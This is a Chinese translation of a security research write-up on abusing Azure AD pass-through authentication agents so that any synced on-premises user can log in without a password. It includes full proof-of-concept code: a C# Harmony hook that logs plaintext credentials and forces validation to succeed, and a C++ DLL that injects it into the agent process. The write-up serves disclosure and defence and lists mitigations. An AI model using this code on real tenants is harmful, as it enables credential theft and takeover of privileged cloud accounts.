原文:https://cymulate.com/blog/exploiting-pta-credential-validation-in-azure-ad/
0x00 前言
如今的企业安全架构要求在各种系统之间实现无缝身份验证。为了实现这一目标,许多企业使用 Azure Active Directory (AAD) 将其内部环境同步到云中,以管理跨环境的用户访问。
(注:Azure Active Directory 已被重新命名为 Microsoft Entra ID,但为了简单起见,我们将在本博客中继续称其为 AAD)。 然而,我们最近的调查发现,在将多个内部部署 AD 域同步到单个 Azure 租户时,AAD 存在一个漏洞。
当不同内部域的直通式身份验证(PTA)Agent 对身份验证请求处理不当,导致潜在的未经授权访问时,就会出现这个问题。
通过操纵凭证验证过程,攻击者可以绕过安全检查,给混合身份基础架构带来重大风险。 该漏洞实际上将 PTA Agent 变成了 Double Agent,允许攻击者在不知道实际密码的情况下以任何同步 AD 用户的身份登录;如果分配了全局管理员用户的权限,这可能会授予该用户访问权。无论攻击者的原始同步 AD 域是什么,都有可能横向移动到不同的内部部署域。 此外,攻击者还可以在租户内部以具有高权限的同步 AD 用户身份登录,从而导致权限升级和持久性。
注意:该攻击需要托管 PTA Agent 的服务器上的本地管理员。
在这篇博文中,我们将深入探讨这一漏洞的技术细节,展示其潜在影响,并讨论保护环境的缓解策略。
0x01 什么是 Pass-through Authentication(PTA)
根据微软文档:Microsoft Entra 直通式身份验证允许用户使用相同的密码登录企业内部和基于云的应用程序。该功能可为用户提供更好的体验(少记一个密码,并降低 IT 服务台成本),因为用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,该功能可直接根据内部活动目录验证用户密码。
上图展示了 12 个步骤的身份验证过程:
-
1. 用户尝试访问应用程序,例如 Azure。
-
2. 如果用户尚未登录,则会重定向到 Microsoft Entra ID 用户登录页面。
-
3. 用户在 Microsoft Entra 登录页面输入用户名,然后选择 "下一步 "按钮。
-
4. 用户在 Microsoft Entra 登录页面输入密码,然后选择登录按钮。
-
5. Microsoft Entra ID 收到登录请求后,会将用户名和密码(使用认证 Agent 的公钥加密)放入队列。
-
6. 本地身份验证 Agent 从队列中检索用户名和加密密码。请注意,Agent 不会频繁轮询队列中的请求,而是通过预先建立的持久连接检索请求。
-
7. Agent 使用其私钥对密码进行解密。
-
8. 该 Agent 通过使用标准 Windows API,根据 Active Directory 验证用户名和密码,这与 Active Directory 联合服务(AD FS)使用的机制类似。用户名可以是本地默认用户名(通常是 userPrincipalName),也可以是 Microsoft Entra Connect 中配置的其他属性(称为备用 ID)。
-
9. 本地 Active Directory 域控制器 (DC) 会对请求进行确认,并向 Agent 返回相应的响应(成功、失败、密码过期或用户被锁定)。
-
10. 身份验证 Agent 又将此响应返回给 Microsoft Entra ID。
-
11. Microsoft Entra ID 会确认响应,并根据情况对用户做出响应。 例如,Microsoft Entra ID 要么立即登录用户,要么请求 Microsoft Entra 多因素身份验证。
-
12. 如果用户登录成功,用户就可以访问应用程序。
0x02 我们是如何发现该漏洞
我们首先在互联网上搜索了滥用 Azure 环境的已知技术。 在研究过程中,我们看到了 XPN 博客的 Adam Chester 文章(https://blog.xpnsec.com/azuread-connect-for-redteam/))。
我们深入研究了 Azure AD 直通身份验证过程,并开始使用 dnSpy 反编译 PTA Agent。我们发现了一些奇怪的事情。 当我们以同步用户身份登录时,会随机出现密码错误的提示,尝试几次后,又会使用相同的密码登录。 起初,我们认为浏览器 Agent 可能会影响登录尝试的目标请求。
然而,我们后来意识到这只是一种糟糕的用户体验,这意味着 Azure 同步用户会随机地使用相同的密码成功登录。
我们发现,环境中的 PTA Agent会随机检索我们的登录请求。如果请求由不正确的 PTA Agent(来自不同同步域的 Agent)检索,则登录尝试将失败,因为 PTA Agent 将请求转发到 AD 服务器,而 AD 服务器无法识别用户。
0x03 找出原因
当同步用户尝试登录 Azure 时,密码验证请求会被放入服务总线队列,并由可用的直通式身份验证 (PTA) Agent 之一进行检索,与用户的源域无关。 如果 PTA Agent 从不同的域获取用户的用户名和密码,则会尝试根据自己的 Windows Server AD 验证凭据。 这会导致身份验证失败,因为服务器无法识别特定用户。
从图 3 中可以看出,我们位于“cymattack”本地域下,但我们获得了“cymtown”域的凭据。
从图 4 中可以看出,由于 LogonUser 函数失败,ValidateCredentials 函数的返回值为 False,因为 AD 服务器不知道尝试登录的用户(不同域)。
从图 5 中可以看出,即使密码正确,登录尝试仍然失败,导致用户体验不佳。这种情况每次都会随机发生,直到正确的 PTA Agent 收到请求为止。
0x04 开发 POC
考虑到这种方法,我们证明了绕过 AAD 身份验证的可能性。 首先,我们在 PTA Agent 进程中注入了一个非托管 DLL。 该 DLL 利用进程中现有的 CLR 实例加载托管 DLL。 一旦加载了托管 DLL,它就会在开始和结束时 Hook ValidateCredential 函数,允许我们控制函数的返回值。 通过控制函数的返回值,我们可以始终返回 True。 这意味着,即使我们提供了来自不同域的用户凭据,钩子也会返回 True。 这样,我们就能以任何同步的本地 AD 用户身份登录。 因此,结果会是这样的:
using System;
using System.IO;
using System.Reflection;
using HarmonyLib;
namespace Captain_HooK
{
public class HooK
{
private static void LogToFile(string message)
{
string path = @"C:UsersPublichook.txt";
using (StreamWriter sw = new StreamWriter(path, true))
{
sw.WriteLine(message);
}
}
public static int InstallHook(string TestParam)
{
try
{
LogToFile("C# DLL Injected Successfully!");
Type targetType = typeof(Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext);
// Get the method to be patched
MethodInfo targetMethod = targetType.GetMethod("ValidateCredentials", BindingFlags.Public | BindingFlags.Instance);
if (targetMethod == null)
throw new Exception("Could not resolve ValidateCredentials");
LogToFile("Got Function!");
Harmony harmony = new Harmony("ValidateCredentialsPatch");
MethodInfo prefixMethod = typeof(HooK).GetMethod("Prefix_ValidateCredentials");
MethodInfo postfixMethod = typeof(HooK).GetMethod("Postfix_ValidateCredentials");
harmony.Patch(targetMethod, new HarmonyMethod(prefixMethod), new HarmonyMethod(postfixMethod));
LogToFile("Waiting for connection...");
LogToFile("------------------------------------------");
return 0;
}
catch (Exception ex)
{
LogToFile($"Exception: {ex.Message}");
return -1;
}
}
public static bool Prefix_ValidateCredentials(ref string userPrincipalName, ref string password, ref object __result)
{
LogToFile($"[+] Username: {userPrincipalName}");
LogToFile($"[+] Password: {password}");
LogToFile("------------------------------------------");
return true; // Do not skip executing original ValidateCredentials()
}
public static void Postfix_ValidateCredentials(ref bool __result)
{
__result = true; // Always return true
LogToFile("Postfix hook executed, result set to true.");
}
}
}
此时,我们已经熟悉了从非托管代码中 Hook WinAPI 的本机方法。然而,我们不太熟悉在托管代码中 Hook 函数。
我们开始研究实现这一目标的方法,并发现了 Harmony 库在运行时 Hook .NET 代码的强大功能。 下面将详细介绍我们是如何通过在 PTA Agent 进程中的 Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext 类的 ValidateCredentials 方法中注入钩子来实现这一目标的。
0x05 InstallHook 函数
InstallHook 方法是这个操作的核心。它与 PTA Agent 进程中已运行的 .NET CLR 实例动态交互,以 Hook ValidateCredentials 方法。利用 Harmony 库,该方法执行以下操作:
-
1. Prefix Hook: prefixMethod 将钩住 ValidateCredentials 方法的起始位置。 这样就可以在执行原始方法之前捕获凭证(用户名和密码)并将其记录到文件中。
-
2. Postfix Hook: postfixMethod 将钩住 ValidateCredentials 方法的末尾。 这将修改返回值,使其始终返回 true,从而允许任何试图进行身份验证的用户登录。
至此,我们就有了一个可以加载到 PTA Agent 进程中的有效托管 DLL。 为此,我们需要一种加载托管 DLL 的方法。 我们编写了一个非托管的 C++ DLL,利用运行进程中现有的 CLR 加载托管 DLL。
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <metahost.h>
#include <cstdio>
#include <fstream>
#include <sstream>
#include <comdef.h>
#pragma comment(lib, "mscoree.lib")
void LogToFile(const std::wstring& message) {
std::wofstream logFile;
logFile.open(L"C:\Users\Public\log.txt", std::ios_base::app);
if (logFile.is_open()) {
logFile << message << std::endl;
logFile.close();
}
}
std::wstring ToWString(DWORD value) {
std::wstringstream wss;
wss << value;
return wss.str();
}
std::wstring GetErrorMessage(HRESULT hr) {
_com_error err(hr);
return std::wstring(err.ErrorMessage());
}
int main()
{
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) == S_OK) {
LogToFile(L"CLR instance created successfully.");
if (metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo) == S_OK) {
LogToFile(L"Got CLR runtime version 4.0.30319 successfully.");
BOOL isStarted = FALSE;
if (runtimeInfo->IsStarted(&isStarted, NULL) == S_OK && isStarted) {
LogToFile(L"CLR runtime host is already started.");
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) {
LogToFile(L"Got CLR runtime host interface successfully.");
}
else {
LogToFile(L"Failed to get CLR runtime host interface.");
}
}
else {
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) {
LogToFile(L"Got CLR runtime host interface successfully.");
if (runtimeHost->Start() == S_OK) {
LogToFile(L"CLR runtime host started successfully.");
}
else {
LogToFile(L"Failed to start CLR runtime host.");
}
}
else {
LogToFile(L"Failed to get CLR runtime host interface.");
}
}
DWORD pReturnValue;
HRESULT hr = runtimeHost->ExecuteInDefaultAppDomain(L"C:\Users\Public\captainhook.dll", L"Captain_HooK.HooK", L"InstallHook", nullptr, &pReturnValue);
if (hr == S_OK) {
LogToFile(L"Method executed successfully with return value: " + ToWString(pReturnValue));
}
else {
LogToFile(L"Failed to execute method in default app domain. Error: " + GetErrorMessage(hr) + L" (HRESULT: " + ToWString(hr) + L")");
}
runtimeInfo->Release();
metaHost->Release();
runtimeHost->Release();
}
else {
LogToFile(L"Failed to get CLR runtime version.");
}
}
else {
LogToFile(L"Failed to create CLR instance.");
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
auto Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
if (Thread)
return TRUE;
else
return FALSE;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
代码首先使用 CLRCreateInstance 创建 CLR 实例并记录成功。 然后,它会检索 .NET 版本的运行时信息,确保与运行进程兼容。 DLL 会检查 CLR 是否已启动,如果未启动,则会启动 CLR 并检索运行时主机接口。 通过 ExecuteInDefaultAppDomain,DLL 从托管 DLL(captainhook.dll)中加载并执行 InstallHook 方法。 之后,钩子将被设置,系统将等待输入连接。
下面的视频演示了我们如何从三个不同的内部域登录三个不同的用户。 我们对每个用户都登录了两次,以显示密码与我们的钩选功能无关。
在视频的最后,同步的 AD 用户被显示为全局管理员,我们随机授予了一个用户全局管理员权限,以演示我们利用这些权限的能力。
视频 POC:https://youtu.be/7FtJuB0fw0w
0x06 缓解措施和建议
Microsoft 建议将 Entra Connect 服务器视为 0 层组件。据他们说:“Microsoft Entra Connect 服务器必须被视为 Active Directory 管理层模型中记录的第 0 层组件。我们建议按照安全特权访问中提供的指南将 Microsoft Entra Connect 服务器强化为控制平面资产”。
此外,为所有同步用户启用 2FA 将有效阻止这种攻击,因为攻击者无法横向移动到云中。
我们希望微软能够实施域感知路由选择,以确保将身份验证请求导向适当的 PTA Agent。 此外,在同一租户内的不同内部部署域之间建立严格的逻辑分隔也是有益的。
原文始发于微信公众号(RowTeam):【翻译】Double Agent:利用 Azure AD 中的直通身份验证凭据验证
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论